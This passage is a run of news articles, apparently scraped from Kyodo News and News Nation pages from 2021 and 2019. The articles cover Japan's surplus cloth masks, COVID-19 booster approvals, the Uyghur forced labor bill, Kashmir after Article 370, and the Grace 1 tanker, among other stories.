being kept in storage as of late October. Storage costs between August 2020 and March this year amounted to some 600 million yen ($5.3 million). The Abe government had procured a total of 287 million masks including 130 million for his plan to distribute two cloth masks to each household in Japan last year. The remainder was meant to be delivered to elderly care facilities and pregnant women. Deputy Chief Cabinet Secretary Yoshihiko Isozaki said in October the government had finished distributing cloth masks to households but switched to an on-request basis for nursing facilities, and that led to the surplus. Regarding his predecessor's mask rollout, Prime Minister Fumio Kishida said Tuesday in parliament there were "points that need to be investigated and reflected upon." "Going forward, the Ministry of Health, Labor and Welfare will continue to consider ways to make use of the remaining stock," Matsuno said. Related coverage: Japan gov't leaves millions of "Abenomasks" unused, fanning criticism Gov't sued over disclosure of "Abenomask" unit price, order numbers Japan PM Abe resigns due to illness with many issues unresolved KYODO NEWS - Dec 15, 2021 - 23:14 | All, Japan, Coronavirus A Japanese health ministry panel approved Wednesday the administration of U.S. biotechnology firm Moderna Inc.'s COVID-19 booster shots at least six months after an individual aged 18 or older has received their second dose. The third dose will use half the 0.5 milliliter amount used for each of the first two shots. Moderna's COVID-19 vaccine is the second to be approved for use as booster shots in Japan after Pfizer Inc. received the green light last month. Japan has set an eight-month interval "in principle" between second vaccination shots and a booster but has been working to bring forward the third shots following the emergence of the Omicron variant of the coronavirus. But while numerous cases of the variant have been confirmed in Japan, daily infections nationwide have remained at under 200 for the past few weeks. Takeda Pharmaceutical Co., which is in charge of sales and distribution of the Moderna vaccine in Japan, applied for approval last month to administer the third shot with a shortened interval of at least six months. The Ministry of Health, Labor and Welfare will officially grant fast-track approval to the drugmaker's vaccine for use as booster shots as early as Thursday. The booster shots, which will be provided free of charge, are expected to be used in the rollout for the general public beginning in January, as well as for workplace vaccinations starting in March. Japan is due to receive 50 million doses of Moderna next year. But as the dosage will be halved for booster shots, the supply will yield at least 1.5 times more shots at 75 million. The government began administering third doses of Pfizer's vaccine to health care workers earlier this month, with those for the elderly set to start in many municipalities in January. It has said that a booster vaccine can be a different brand from the previous two shots administered, and Moderna's can also be used for mixing and matching if approved. In a separate development, the ministry will convene a special committee, possibly on Dec. 24, to decide whether to grant approval to molnupiravir, an oral COVID-19 drug developed by U.S. pharmaceutical giant Merck & Co., according to an official familiar with the matter. The antiviral drug, which prevents the virus from entering or multiplying in the body, could be the first such pill to be used in Japan if approved. The company's Japanese arm MSD K.K. has said that molnupiravir is likely effective against the Omicron coronavirus variant. The Japanese government has already agreed with the subsidiary to pay about $1.2 billion to procure molnupiravir doses for 1.6 million patients. Early last month, Britain became the first country in the world to approve the use of the drug. Related coverage: Japan confirms 8 more cases of Omicron variant infection Japan in talks with Pfizer about expedited vaccine delivery: Kishida Japan struggling to bring forward vaccine booster amid Omicron fears KYODO NEWS - Dec 15, 2021 - 12:41 | All, World The U.S. House of Representatives on Tuesday passed a bill banning imports from China's Xinjiang region amid concerns over forced labor of the Uyghur ethnic minority there, a move that is likely to worsen tensions between Washington and Beijing. The Uyghur Forced Labor Prevention Act, which aims to hold China accountable for what the U.S. government calls a "genocide" against the Muslim Uyghurs in China's far-western region, passed the House as a compromise bicameral bill. It will be sent to the Senate for "swift action," according to House Speaker Nancy Pelosi. "If America does not speak out for human rights in China because of commercial interests, we lose all moral authority to speak out for human rights any place in the world," she said. The bill needs to be signed into law by President Joe Biden. Concerns are deepening in the United States over China's human rights abuses in Xinjiang, with the Biden administration recently announcing a diplomatic boycott of February's Beijing Winter Olympics in a show of protest. The Uyghur bill requires U.S. customs authorities to presume that goods manufactured in Xinjiang are made with forced labor and that they should be banned from import, except for those that can provide clear evidence to the contrary. The provision is expected to take effect 180 days after the enactment of the law. The White House said in a statement that Biden welcomes the bipartisan bill, saying his administration agrees with Congress that action must be taken to hold China "accountable for genocide and human rights abuses and to address forced labor in Xinjiang." The U.S. government has accused Chinese authorities of arbitrary mass detention and forced sterilization, among other instances of mistreatment of members of the Uyghur community. Beijing has denied the allegations. U.S. law prohibits the importation of merchandise produced wholly or in part by forced labor. Earlier this year, the U.S. Customs and Border Protection imposed an import ban on a key solar panel material by a Chinese company located in Xinjiang over forced labor allegations. It has also taken action against cotton and tomato products produced in Xinjiang. KYODO NEWS - Dec 15, 2021 - 12:49 | World, All A delegation of French lower house members arrived in Taiwan on Wednesday, about two months after their Senate peers did so, in a move almost certain to draw rebuke from China. The delegation, led by former environment minister Francois de Rugy, is expected to hold talks with Taiwan President Tsai Ing-wen and Premier Su Tseng-chang during its stay through Sunday, according to the self-ruled island's Foreign Ministry. The delegation consists of members of the France-Taiwan parliamentary friendship group in the lower house, or the National Assembly. The stated purpose of its visit is to look into issues related to the development of the Taiwanese economy. De Rugy is a member of President Emmanuel Macron's ruling La Republique En Marche party. In late November, he led an effort to get the National Assembly to adopt a resolution calling for government support for Taiwan's participation in international organizations, including the World Health Organization. The Senate adopted a similar resolution in May. China regards Taiwan as a renegade province to be reunified with the mainland, by force if necessary. KYODO NEWS - Dec 15, 2021 - 17:53 | World The United States is looking at more actions against Myanmar's junta to press its generals to return the country to a democratic path, Secretary of State Antony Blinken said in Malaysia on Wednesday. "The situation has not improved," Blinken said at a joint press conference with his Malaysian counterpart Saifuddin Abdullah after their meeting in Putrajaya, the federal administrative capital. "I think it's going to be very important in the weeks and months ahead to look at what additional steps and measures we can take individually, collectively to pressure the regime to put the country back on a democratic trajectory." Following a February military coup that ousted a democratically elected government led by Aung San Suu Kyi, Washington has so far focused on imposing sanctions on Myanmar military officials and their family members as well as military-related entities. But there are growing calls for other sanctions, such as those targeting the oil and gas funds on which activists say the junta relies. Blinken said the United States is also looking "very actively" at whether Myanmar's treatment of the Rohingya ethnic minority group constituted genocide, a determination that could allow Washington to push for more actions. The Association of Southeast Asian Nations' own efforts to help solve the crisis in one of its members have made little progress, with the dispatch of a special envoy to meet with "all parties concerned" not yet realized. Saifuddin said the Myanmar issue will be discussed during a meeting of ASEAN foreign ministers in Cambodia next month. Malaysia is the second leg of Blinken's first trip to Southeast Asia since U.S. President Joe Biden took office in January. After visiting Indonesia and Malaysia, he visits Thailand. The visit comes as Washington is seeking deeper engagement in Southeast Asia amid heightened rivalry with China. Blinken confirmed at the press conference that Biden has invited ASEAN leaders to a special summit next year. Related coverage: U.S. vows to bolster Indo-Pacific security, hopes China can change Myanmar shadow gov't seeks help from Japan lawmakers for recognition Myanmar junta seeks resumption of Japanese investment, ODA KYODO NEWS - Dec 15, 2021 - 15:50 | World, All Kim Yong Ju, a younger brother of North Korea's founder Kim Il Sung, has died, the official Korean Central News Agency reported Wednesday. KCNA said leader Kim Jong Un sent a wreath on Tuesday to express deep condolences over the death of Kim Yong Ju, who is believed to have been once purged from the leadership following a power struggle. The news agency has not reported when and how Kim Yong Ju, a former honorary vice chairman of the standing committee of the Supreme People's Assembly, died. Kim Yong Ju was born in 1920 and was eight years younger than Kim Il Sung, according to South Korean data. After graduating from a university in Moscow, he joined the ruling Workers' Party of Korea. He was North Korea's representative in negotiations with the South that resulted in a joint announcement on July 4, 1972, on ending hostilities and working together toward the reunification of the divided peninsula. Kim Yong Ju was named deputy prime minister in 1974, but after an announcement on the third anniversary of the 1972 agreement, he disappeared from public view. He was once regarded as Kim Il Sung's most likely successor. He resurfaced officially for the first time in 18 years in 1993 when he participated in a ceremony commemorating the 1950-53 Korean War, which ended in an armistice, not a peace treaty. KYODO NEWS - Dec 15, 2021 - 23:01 | All, Japan The Japanese government said Wednesday it has agreed to pay damages to a former Finance Ministry bureaucrat's wife who alleges her husband killed himself after being ordered to tamper with documents related to favoritism allegations against then Prime Minister Shinzo Abe. The decision to pay around 100 million yen ($880,000) in compensation as sought by Masako Akagi, 50, ends the suit filed nearly two years ago between the state and the plaintiff and ensures the detailed process leading to the alteration of the documents will not be revealed. "I feel like I lost (in the suit)," Akagi said with tears in her eyes at a press conference in the major western city, after officials said the government has come to believe that it is "not appropriate to prolong the proceedings unnecessarily." "The ministry ended the suit in a cowardly way. I wonder what my husband would say," she said, adding what she wanted was not money but the truth. Her husband Toshio Akagi committed suicide at age 54 in March 2018. She claims he suffered from severe mental distress. "The state ended the lawsuit in a closed consultation," her lawyer told the news conference, adding the government did not give any prior notification. "I believe the state has facts that it wants to hide." The lawsuit will continue with the remaining defendant, Nobuhisa Sagawa, then chief of the ministry's Finance Bureau in charge of managing state assets. The plaintiff alleges Sagawa ordered his subordinates in February to March 2017 to alter the documents regarding a heavily discounted sale of state-owned land to a private school operator with ties to Abe's wife Akie. Akie Abe was an honorary principal of an elementary school that was to be opened by Moritomo Gakuen, an educational institution in Osaka and the buyer of the state land in question. Finance Minister Shunichi Suzuki expressed an apology and condolences to the former ministry official's family after the announcement of the decision. The ministry retracted its earlier call for the Osaka District Court to dismiss Akagi's claim, as "we reached a conclusion that it was clear that the ministry bears responsibility" for his death, Suzuki told reporters, adding the official had been overloaded with work dealing with Moritomo Gakuen, including the alteration of the document. The minister said the government made the decision after the plaintiff's whole argument became clear in the previous court hearing in October. The Finance Ministry has admitted to tampering with documents related to the land transaction, while Sagawa has denied personal responsibility. According to the lawyer, it is extremely rare for the state to accept the plaintiff's claim as is. In a report on its investigation into the document tampering in June 2018, the ministry admitted Sagawa directed officials to falsify and delete parts of the documents related to Akie Abe. The plaintiff has asked Prime Minister Fumio Kishida to reinvestigate the case as the report did not refer to the death of her husband, who worked at the ministry's Kinki Local Finance Bureau. Related coverage: Japan gov't discloses file on tampering of land deal documents Japan's Finance Ministry will not probe Moritomo Gakuen scandal again: Aso Woman in Japan sues state, former finance bureaucrat over husband's suicide KYODO NEWS - Dec 15, 2021 - 23:07 | World, All, Coronavirus U.S. Secretary of State Antony Blinken has cut short his Southeast Asia trip due to a COVID-19 case among his traveling party and will not visit Thailand, the U.S. Embassy in Bangkok said Wednesday. The embassy said Blinken spoke with Thai Deputy Prime Minister and Foreign Minister Don Pramudwinai by phone, expressing his "deep regret" for being unable to meet with him on Thursday. It said the decision was taken "to mitigate the risk of the spread of COVID-19 and to prioritize the health and safety of the U.S. traveling party and those they would otherwise come into contact with." Blinken, who met with his Malaysian counterpart Saifuddin Abdullah in Putrajaya earlier Wednesday, would be returning to Washington "out of an abundance of caution" after having also visited Indonesia as well as Britain to participate in a Group of Seven ministerial meeting. Earlier Wednesday, the U.S Embassy in Malaysia said it had informed the country's government of a single positive COVID-19 case in the traveling party. Blinken was in Indonesia the previous two days. The U.S. Embassy in Jakarta tweeted Wednesday that "all members of the traveling press tested negative for COVID-19 on Monday afternoon after arrival in Jakarta." Related coverage: U.S. looking at more actions against Myanmar's junta: Blinken U.S. vows to bolster Indo-Pacific security, hopes China can change London: The police proceedings against four Indian crew members, including the captain, aboard an Iranian oil supertanker has ended and they were released by authorities in Gibraltar on Thursday, even as the US Department of Justice made a last-minute claim on the vessel. I am grateful and thankful for my release. And I am grateful to all who have facilitated my release in my legal team, the Captain of the Grace 1 tanker said in a statement. A spokesman for Gibraltars government also confirmed that police proceedings against four members of the crew had ended. The arrested Indian crew members the Master, Chief Officer and two Second Mates were aboard the Panama-flagged supertanker that was detained off Europa Point in Gibraltar, a British Overseas Territory on the Spanish coast, last month. The Gibraltar authorities had said the vessel is loaded to capacity with crude oil enroute to Syria, in breach of European Union (EU) sanctions. However, the Gibraltar authorities have since been given assurances from the arrested crew members and Iran that the ship was not on its way to Syria. A total of 28 crew on board the vessel include majority Indians but also Russians, Latvians and Filipinos, who have spent over a month in detention on board the ship since it was seized in early July. Their further course remains unclear and complicated as a result of the US intervention to request the seizure of Grace 1, which is set for a hearing in the Supreme Court of Gibraltar later on Thursday. The US Department of Justice has applied to seize the Grace 1 on a number of allegations which are now being considered. The matter will return to the Supreme Court of Gibraltar, noted a statement from the government of Gibraltar. The UK Foreign Office has declined to comment on the US request and said that investigations conducted around the Grace 1 are a matter for the government of Gibraltar?. The Gibraltar port and law enforcement agencies had detained the supertanker and its cargo on July 4 during an operation conducted by the Royal Gibraltar Police (RGP), Customs and Port Authority with the support of British Royal Marines. A Gibraltar government statement noted: The detention of the vessel relates to the suspected destination of the cargo, the Banyas refinery in Syria, which is owned by a company, the Banyas Oil Refinery Company. This company is the subject of European Union sanctions under EU Regulation 36/2012, which is directly applicable in Gibraltar. The investigations of the Royal Gibraltar Police continue and the vessel remains detained under an Order of the Chief Justice of the Supreme Court of Gibraltar. However, following the assurances given by Iran and the captain of the ship, the Gibraltar government was all set to allow the vessel to set sail before the US demand, which is reportedly part of the Trump administrations efforts to intensify the effect of existing Western economic sanctions on both Iran and Syria. Iran had called for the UK to release its oil tanker and warned Britain not to get involved in this dangerous game, which eventually led to Irans seizure of a British-flagged tanker in the Gulf as well. Tehran blames the US for arranging to have its ship seized in the wake of sanctions imposed against Iran with the aim of halting all its oil exports. European countries do not have sanctions against Iran but have had them in place against Irans ally Syria since 2011. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: The Institute of Chartered Accountants of India has released the CA final Result and CA foundation result 2019. Those candidates who have appeared for the examination can visit the official website to check the ICAI CA results 2019. The declaration of the results has sealed the fate of thousands of students who have appeared for the examination. The candidates who have completed the email registration will receive their ICAI CA result 2019 on their respective email ID. Candidates can also visit the official website to check the ICAI CA Result 2019. Check CA Final Result 2019 (Old) - Direct Link Check CA Final Result 2019 (New) - Direct Link Check CA Foundation Result 2019 (Old) - Direct Link Earlier, there were reports that had suggested that the ICAI Results 2019 for CA Final and Foundation Course will be announced today by 6 PM. The Result time has been confirmed by Central Council Member of ICAI - Mr. Dhiraj Khandelwal through a tweet. In this tweet, Mr Khandelwal has wished good luck to all CA aspirants for the upcoming results and also confirmed that results will be announced by 6 PM. When to check ICAI CA Result 2019? According to the official notification released by the Institute of Chartered Accountants of India (ICAI), the CA Final Result and CA Foundation Results will be published today evening or on August 14, 2019. Candidates can check the results on the websites provided on the official notification. Result Date: 13th August 2019 evening Where to check CA Results 2019? icaiexam.icai.org caresults.icai.org icai.nic.in For the convenience of the students, we have mentioned the steps through which the candidates can check the results: Step 1: Visit official website icaiexam.icai.org Step 2: Login into the website using your credentials Step 3: Find and click on Email Registration Link Step 4: Verify Email ID used to Login to the portal Step 5: Submit a request for Email Registration for CA Result 2019 Washington : US intelligence has warned that China is moving troops to the border with Hong Kong, amid intensifying anti-government protests in the semi-autonomous financial hub, US President Donald Trump said Tuesday. Our Intelligence has informed us that the Chinese Government is moving troops to the Border with Hong Kong. Everyone should be calm and safe! Trump said in a tweet. Also, Hong Kong airport on Tuesday cancelled all departures as protesters block the facility on the second day of anti-police violence sit-in. Thousands of protesters besieged the Hong Kong International Airport, forcing authorities to cancle all the flights out of Hong Kong. The protesters conducted a peaceful mass sit-in at the airport condemning alleged police brutality. The Hong Kong police have stepped up crackdown against protesters and resorted to fire tear gas shell and shoot projectiles at close range. The alleged police brutalities took place on Sunday, when anti-riots police fired tear gas inside Kwai Fong MTR station and shot protesters at close range at Tai Koo MTR station. In a decoy operation, some officers were disguised as protesters, as one protester had her right eye ruptured, apparently caused by a bean bag round fired by police in Tsim Sha Tsui, according to Hong Kong Free Press. During the sit-ins, two protesters displayed videos purportedly showing police violence while handing out MTR metro maps of incidents of alleged misconduct to travellers. (With inputs from PTI) For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Kolkata: Former Kolkata mayor and Trinamool Congress MLA Sovan Chatterjee is likely to join the BJP by the end of this week in New Delhi, sources said on Wednesday. Chatterjee was asked to step down both as a minister in the Trinamool government and as Kolkata mayor by West Bengal Chief Minister Mamata Banerjee in November last year following troubles in his personal life. After that, he took a sabbatical from active politics. According to sources, Chatterjee was in touch with the BJP for the last few months. He met BJP leaders in New Delhi last month fuelling speculations that he might switch over to the saffron camp. If everything goes well, he is likely to join the BJP either today or by the end of this week. Lets see what happens, a top BJP source told PTI. After its shock result in the Lok Sabha polls, the ruling TMC tried to woo Chatterjee, who is known for his organisational capabilities. But the efforts didnt yield positive result. Six Trinamool MLAs, and one each of Congress and CPI(M) have switched over to BJP since the results of Lok Sabha polls were announced. The BJP has made deep inroads in West Bengal in the Lok Sabha polls by winning 18 out of the 42 Lok Sabha seats in the state, just four less than TMC. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Hailing his government's decision to revoke Article 370 of Indian Constitution, that gave special status to Jammu and Kashmir, Prime Minister Narendra Modi on Thursday said that it was a step towards realising the dream of Sardar Vallabhbhai Patel. Emphasising that a new approach was needed to deal with Kashmir, PM Modi said that his government neither nurse problems nor keep them pending. "In this short span of time, we have taken important steps in every sector. Article 370 and 35A being revoked from Jammu and Kashmir is a step towards realising the dream of Sardar Patel," the prime minister said while addressing the nation from the ramparts of the Red Fort on the 73rd Independence Day. He said the work which was pending for the last 70 years was accomplished in less than 70 days under his government. PM Modi said everyone wanted Article 370 to be scrapped, but they were waiting for the appropriate time. Why did those who are supporting Article 370 make it a permanent provision for J and K and kept it a temporary measure, he questioned. He also talked about abolition of Triple Talaq and said that the decision was taken to give equal right to Muslim sisters and for political gains. Remember how scared Muslim women were, those who suffered due to the practice of Triple Talaq, but we ended that. When Islamic nations can ban it then why can't we? When we can ban Sati, when we can take strong steps against female infanticide, child marriage, then why not this, PM Modi said. The prime minister also condoled the death of people in recent floods and assured affected people of all help. "The country is reeling under floods and heavy rains in some parts, I express my empathy," said PM Modi. "Today when the country wakes up to yet another independence day, there are many affected due to floods. Bodies such as NDRF are fighting to resolve such issues. I want to reach out to everybody," he added. He also talked about various welfare schemes that his government has launched for the welfare of the common man. "In the last five years, we tried to improve the ease of living. We will work harder in the next five years, he said. This is PM Modi's sixth Independence Day speech and the first after returning to power with a massive mandate, from the ramparts of the Red Fort. Before coming to Red Fort, he paid homage to Mahatma Gandhi at Rajghat. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: The Indian Army foiled a major infiltration attempt of terrorists backed by the Pakistan Army in the Uri sector of Jammu and Kashmir on Tuesday night, according to news agency ANI. The infiltration push was backed by heavy firing from Pakistan Army posts, sources told ANI. The attempt of the Pakistan Army was to push a group of terrorists into India to unleash violence in Jammu and Kashmir. The Indian Army positions are on high alert to tackle any such threat from Pakistan, the sources added. In August 4, the Indian Army used Bofors howitzers to foil an attack by Pakistan Army's BAT on forward post in Keran sector of Jammu and Kashmir. "A BAT attempt was made on one of the forward posts in Keran sector (in Kupwara district) and foiled by alert troops resulting in neutralising of five to seven Pak regulars/terrorists," defence spokesman Col Rajesh Kalia had said. "Bofors guns have been used to hit at military targets inside the Pakistan Occupied Kashmir (PoK) where terror camps are being aided and abetted by the Pakistan Army," India Today quoted sources in the Army as saying. "However, the Indian Army ensures that targets are only military and terrorists who are supported by the Pakistan Army," the source added. The defence spokesperson said Pakistan has made a number of attempts in the last 36 hours to disturb peace in the Valley and to target Amarnath Yatra. He said four hardcore Jaish-e-Mohammad terrorists were neutralised in two operations in which a cache of sniper rifle, IED and mine with Pakistan markings were recovered. "This clearly indicates complicity of Pakistan in terror activities. Security forces will continue to respond to all nefarious activities along the LoC and hinterland," he said. Sources said the BAT attempt was made on the intervening night of July 31 and August 1. At least four bodies, possibly of Pakistan Army's Special Service Group (SSG) commandos or terrorists, were seen in close proximity of an Indian post in the sector, they said, adding search operations and attempts to take the bodies were being continuously interfered with by Pakistani troops deployed in the area. Following Indias move to strip Kashmir of its special status given under Article 370 of the Constitution, terror launch pads in Pakistan occupied Kashmir (PoK) have been re-activated and terrorists make infiltration attempts very night, according to reports, citing a top Army official. "Terror launch pads in Pakistan occupied Kashmir is full of terrorists. They are attempting to infiltrate every night but we are able to detect and stop them," India Today quoted Lt General KJS Dhillon as saying recently. Pakistan has been opposing India's move to remove provisions of Article 370 of the Indian Constitution that gave Jammu and Kashmir a significant autonomy for decades and divide the state into two Union Territories. Pakistan Prime Minister Imran Khan had warned New Delhi of more Pulwama like incidents after its move on Kashmir. After Imran Khans threat, there were reports that terrorists from PoK had started assembling near the LoC in a bid to infiltrate into the Indian side. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New York: Maleeha Lodhi, Pakistans Permanent Representative to the United Nations, was seen heckled, in a purported video, by a man here claiming to be a Pakistani. In the video circulating online, Lodhi was seen evading questions based by the man during an interaction with the media. When Lodhi was leaving from the event, the man heckled her and shouted,from last 15-20 years, what are you doing? He then shouted loudly I have a question for you. When he was asked to stop recording by the people present at the event, the man said, Im not going to stop recording. It is not against the law. I am asking her a question...I am a Pakistani. When Pakistans top diplomat at the UN refused to answer, the man heckled her and said did not deserve to represent Pakistan. However, the authenticity of the video could not be ascertained. There was no official response from Lodhi and the Pakistani mission on the incident. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: Restrictions imposed on people's movement and communication links in Jammu following revocation of Article 370 of the Indian Constitution have completely lifted, said Additional Director General of Police (ADGP), Munir Khan. However, the clampdown will continue in Kashmir for some time. Jammu and Kashmir has been under an unprecedented security cover and prohibitory orders were imposed a day before the Modi government announced that it has withdrawn special status for the state. Law order situation is totally under control. There have been localised incidents in various parts of Srinagar district and other districts, which had been contained and dealt with locally. There have been no major injuries, the top cop said. #WATCH: Munir Khan, ADGP, #JammuAndKasmir Police on preparation for Independence Day: Everything is in place. Celebrate 15th August, 'dabake.' pic.twitter.com/kRNPLNCPsi ANI (@ANI) August 14, 2019 Emphasising that government's biggest endeavour is that no civil casualty should take place, Munir said that there were few pellet injuries and injured were being treated in hospitals. "When a new situation of law and order arises, opposite parties including the neighbouring states take the initiative of unleashing the propaganda. Videos of 2016 and 2010 are in circulation now, that is part of propaganda. We're taking all measures to thwart these attempts," he added. Earlier on Tuesday, the Centre said that the curfew-like restrictions in Kashmir following the removal of Article 370 provisions would be removed from the Valley only after getting a nod from local authorities. According to a report by The Indian Express, a senior Home Ministry official said that they had to choose between the loss of lives and the inconvenience caused by the restrictions. The MHA official said that the government learnt a lesson from what happened after the killing of Burhan Wani, who enjoyed support from a section of local Kashmiris and had taken up arms against the Indian Armed Forces. The Narendra Modi government scrapped special status of Jammu and Kashmir by removing several clauses of Article 370 of the Indian Constitution. The government also said that it will support a Bill to divide the state into two Union Territories (UTs). In anticipation of the announcement, that could triggered violence, the government had flooded the Valley with thousands of additional troops and severed all communication channels, including mobile and broadband internet. Curfew-like restrictions were imposed in the Valley and tourists were evacuated. Mainstream politicians, including former chief ministers Mehbooba Mufti and Omar Abdullah along with many others have been arrested and taken to unknown locations. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Today, India is observing the first death anniversary of the former Prime Minister and Iconic leader, late Atal Bihari Vajpayee. It was on August 16, 2018, the BJP Stalwart left the world. Needless to say, he was one of the most admired, respected and loved politicians of India. Importantly, Vajpayee framed key policies and took some bold decisions while serving as the Prime Minister of India, which eventually helped India to move forward on the economic, political and social scales. Lets remember the great man with these 10 inspirational quotes said by the man himself: 1. Mere Prabhu! Mujhe Itni Oonchai Kabhi Mat Dena, Gairon Ko Gale Na Laga Sakoon, Itni Rukhai Mat Dena 2. Maut ki Umr kya hai? Do pal bhi nahi, zindagi silsila, aaj kal ki nahi 3. Haar Nahi Manunga, Raar Nahi Thanunga 4. For me, Power was never an attraction 5. Our aim may be as high as the endless sky, but we should have a resolve in our minds to walk ahead, hand-in-hand, for victory will be ours 6. If India is not secular, then India is not India at all 7. You can change friends but not neighbours 8. We are unnecessarily wasting our precious resources in wars... if we must wage war, we have to do it on unemployment, disease, poverty, and backwardness 9. Truth cannot be hidden for fear that somebody would exploit it 10. Victory and defeat are a part of life, which are to be viewed with equanimity For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Squadron Leader Pankaj Arvind Bhujade, one of the winners of this year's Vayu Sena Medal (Gallantry) for his role in the Balakot airstrike, initially studied in a village school in Vidarbha in Maharashtra and went on to become a frontline fighter pilot of the IAF. Bhujade is among the five pilots who have been awarded the Vayu Sena Medal (Gallantry) for their role in bombing a Jaish-e-Mohammed (JeM) terrorist training camp at Balakot in Pakistan in February. IAF fighter jets had bombed the JeM camp in Balakot on February 26, nearly two weeks after the Pulwama terror attack that killed 40 CRPF personnel. The defence ministry on Wednesday announced the winners of the Vayu Sena Medal (Gallantry) and other military awards on the eve of Independence Day celebrations. Bhujade is a fighter pilotfrom Nagpur, according to a press release issued by the PRO of the defence ministry New Delhi. He was born in village Madheli under Warora taluka of district Chandrapur in the Vidarbha region, the release said. He did his schooling up to 5th standard in the Zila Parishad (ZP) School in Madheli and later joined the Sainik School at Satara in western Maharashtra, it said. Subsequently, he qualified for the Pune-based National Defence Academy, which he joined in 2003. He got commissioned in the Indian Air Force in 2007, the release said. His parents are based in Nagpur, it added. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: Pakistan Prime Minister Imran Khan on Friday discussed the Kashmir issue with US President Donald Trump over phone, as the UN Security Council held a closed door meeting to discuss India revoking the special status of Jammu and Kashmir. Foreign Minister Shah Mehmood Qureshi said Khan took the US President "into confidence" regarding the UN Security Council meeting at the UN headquarters after the Indian government revoked the special status of Jammu and Kashmir. "Prime Minister Khan conveyed Pakistan's concern on recent developments in Kashmir and the threat they pose to the regional peace," Qureshi was quoted as saying by state-run Radio Pakistan. The Foreign Minister said the conversation between the two leaders was held in a "cordial environment". They also agreed to remain in contact over the Kashmir issue, he said. They also discussed the situation in Afghanistan. Prime Minister Khan said Pakistan has been playing a "constructive role to bring peace in Afghanistan and it made efforts in past and will do so in future too." Qureshi during a press conference said Pakistan has contacted four of the five permanent members of the UN Security Council and are "also trying to contact French President so that his country understands our position". The UN Security Council on Friday held a rare closed door meeting to discuss India revoking the special status of Jammu and Kashmir after Pakistan, backed by its all-weather ally, China, requested "closed consultations" on the issue. The meeting was open only to the five permanent members and 10 non-permanent members. China, a permanent member of the UNSC and close ally of Pakistan, had asked for "closed consultations" in the Council. On August 5, India revoked Article 370 of the Constitution removing special status to Jammu and Kashmir, and also bifurcated the state into two Union Territories -- Jammu and Kashmir, and Ladakh. Reacting to India's decision, Pakistan expelled the Indian High Commissioner soon after deciding to downgrade diplomatic ties with New Delhi. India has categorically told the international community that its move to scrap Article 370 of the Constitution revoking the special status to Jammu and Kashmir was an internal matter and has also advised Pakistan to accept the reality. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. Paris: Notre-Dame cathedral in Paris is still at risk of collapse after being gutted by a fire in April, with more stonework falling during the recent heatwave in the French capital, the government said on Wednesday. Frances culture ministry insisted that the urgent need to make the cathedral safe had dictated the pace of the works, following criticism that it had ignored the risks of lead poisoning. Work to secure the cathedral was suspended on July 25 to allow for decontamination of the lead that had spread during the fire. The work should resume next week. The culture ministry said that in the aftermath of the fire all work on the cathedral had been aimed at avoiding its collapse, and had not yet involved any kind of restoration. There were recently new falls of stones from the nave vaults due to the heatwave, it said. It is only the urgency linked to the persistent risk of a collapse that justifies the rhythm of work undertaken since the fire. French investigative news site Mediapart published a report this week accusing the ministry of repeatedly ignoring warnings by labour inspectors about the dangers posed by the lead until the works were finally suspended on July 25. But the ministry rejected Mediaparts allegations that it had failed to pay attention to the risks encountered by workers on the site. All the state services involved at the site have made the health of the workers the absolute priority, above all other consideration, it said. President Emmanuel Macron has set an ambitious target of five years for the restoration to be finished. But the ministry said restoration work would not even begin until next year. The first restoration works will not take place - at the very earliest - before the first half of 2020, it said. Hundreds of tonnes of lead in the roof and steeple melted during the April 15 blaze that nearly destroyed the gothic masterpiece, with winds spreading the particles well beyond the churchs grounds. Paris prosecutors said in June that a poorly stubbed-out cigarette or an electrical fault could have started the fire and opened an investigation into criminal negligence, without targeting any individual. For all the Latest World News, Download News Nation Android and iOS Mobile Apps. New Delhi: Endorsing Prime Minister Narendra Modis vision over population explosion and removing single-use plastic, former finance minister P Chidambaram said that it should become a peoples movement. "All of us must welcome three announcements made by the Prime Minister on I-Day. Small family is a patriotic duty, respect wealth creators and shun single-use plastic," he said in a series of tweets. "Of the three exhortations, I hope the Finance Minister and her legion of tax officials and investigators heard the Prime Minister's second exhortation loud and clear," the Congress leader added. While talking about shunning the use of single-use plastics, Chidambaram tweeted, "The first and third exhortations must become people's movements. There are hundreds of dedicated voluntary organisations that are willing to lead the movements at local levels." Earlier, Prime Minister Narendra Modi in his Independence Day speech on Thursday urged people to stop using single-use plastic and encouraged the use of jute and cloth bags to protect the environment. "During my 2014 speech, I spoke about cleanliness. It became a movement in the country and the common man took it up with gusto. Today, I have another request. By October 2, on the birth anniversary of dear Bapu (Mahatma Gandhi), I want to urge the citizens to give up single-use plastic," Modi said from the ramparts of the Red Fort. Voicing concern over "population explosion", the prime minister said it leads to many difficulties and there was a need for the Centre as well as state governments to launch schemes to tackle it. Keeping one's families small is an act of patriotism and those who do so deserve our respect and need to be felicitated, he said. "Population explosion has been occurring at an unrestrained pace. This population explosion is creating innumerable challenges for us and the coming generations," the prime minister said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: SWAT commandos and NSG snipers have been deployed while for the first time cameras with facial recognition software are being used to secure the historic Red Fort where Prime Minister Narendra Modi will hoist the national flag on the 73rd Independence Day on Thursday. Around 500 CCTV cameras have been installed around the venue, where ministers, bureaucrats, foreign dignitaries and common people will gather to hear the prime minister. Army, paramilitary forces and 20,000 Delhi Police personnel have also been deployed. The roads leading to the Red Fort are under surveillance and police personnel are taking help of sniffer dogs to check vehicles in north and central districts of Delhi. Security protocols have also been devised for the "At Home" function at the Rashtrapati Bhavan. At both these places, visitors will have to pass through several door-framed metal detectors and they will be frisked with hand-held metal detectors. Baggage scanners have already been placed at all entry points at the Red Fort venue. Special "spotters" are keeping an eye on parking areas and kite catchers will ensure a distraction-free event at the Red Fort on Thursday. To identify suspects around the historic Red Fort, police are using cameras with facial recognition technology, while anti-drone detection system has been deployed to secure the skies. "We have made an extensive security arrangement for those coming to the Red Fort. Drills have been rehearsed," Deputy Commissioner of Police (North) Nupur Prasad said, adding special control rooms will monitor alerts and coordinate with security agencies. Officials said that Special Weapons And 